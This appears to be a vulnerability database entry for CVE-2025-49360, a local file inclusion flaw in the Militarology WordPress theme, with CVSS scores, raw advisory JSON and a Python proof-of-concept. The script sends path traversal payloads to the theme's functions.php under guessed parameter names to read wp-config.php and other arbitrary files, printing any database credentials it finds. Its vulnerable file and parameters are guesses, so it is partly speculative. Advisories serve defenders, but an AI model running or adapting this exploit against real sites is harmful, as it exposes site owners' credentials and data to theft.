Security Vulnerability Report
中文
CVE-2025-49360 CVSS 8.1 HIGH

CVE-2025-49360

Published: 2025-12-18 08:15:50
Last Modified: 2026-04-27 20:16:12

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Militarology militarology allows PHP Local File Inclusion.This issue affects Militarology: from n/a through <= 1.0.15.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Militarology <= 1.0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-49360 PoC - Local File Inclusion in Militarology Theme # Target: WordPress site using Militarology theme <= 1.0.15 target_url = "http://target-site.com/wp-content/themes/militarology/" # Test LFI vulnerability - Read wp-config.php def exploit_lfi(): print("[*] Testing CVE-2025-49360 - Local File Inclusion") # Common vulnerable parameters params = ['file', 'page', 'template', 'theme', 'load', 'include'] # Path traversal payload to read wp-config.php payload = "../../../../wp-config.php" for param in params: try: url = target_url + "functions.php" # or other vulnerable file data = {param: payload} response = requests.get(url, params=data, timeout=10) if 'DB_NAME' in response.text or 'DB_USER' in response.text: print(f"[+] Vulnerable parameter found: {param}") print(f"[+] Extracted config content preview:") print(response.text[:500]) return True except Exception as e: print(f"[-] Error: {e}") print("[-] LFI not confirmed, manual testing required") return False # Read sensitive files def read_file(filepath): payload = "../../../../" + filepath url = target_url + "functions.php" response = requests.get(url, params={"file": payload}) return response.text if __name__ == "__main__": exploit_lfi()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49360", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:50.113", "lastModified": "2026-04-27T20:16:11.697", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Militarology militarology allows PHP Local File Inclusion.This issue affects Militarology: from n/a through <= 1.0.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/militarology/vulnerability/wordpress-militarology-theme-1-0-15-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}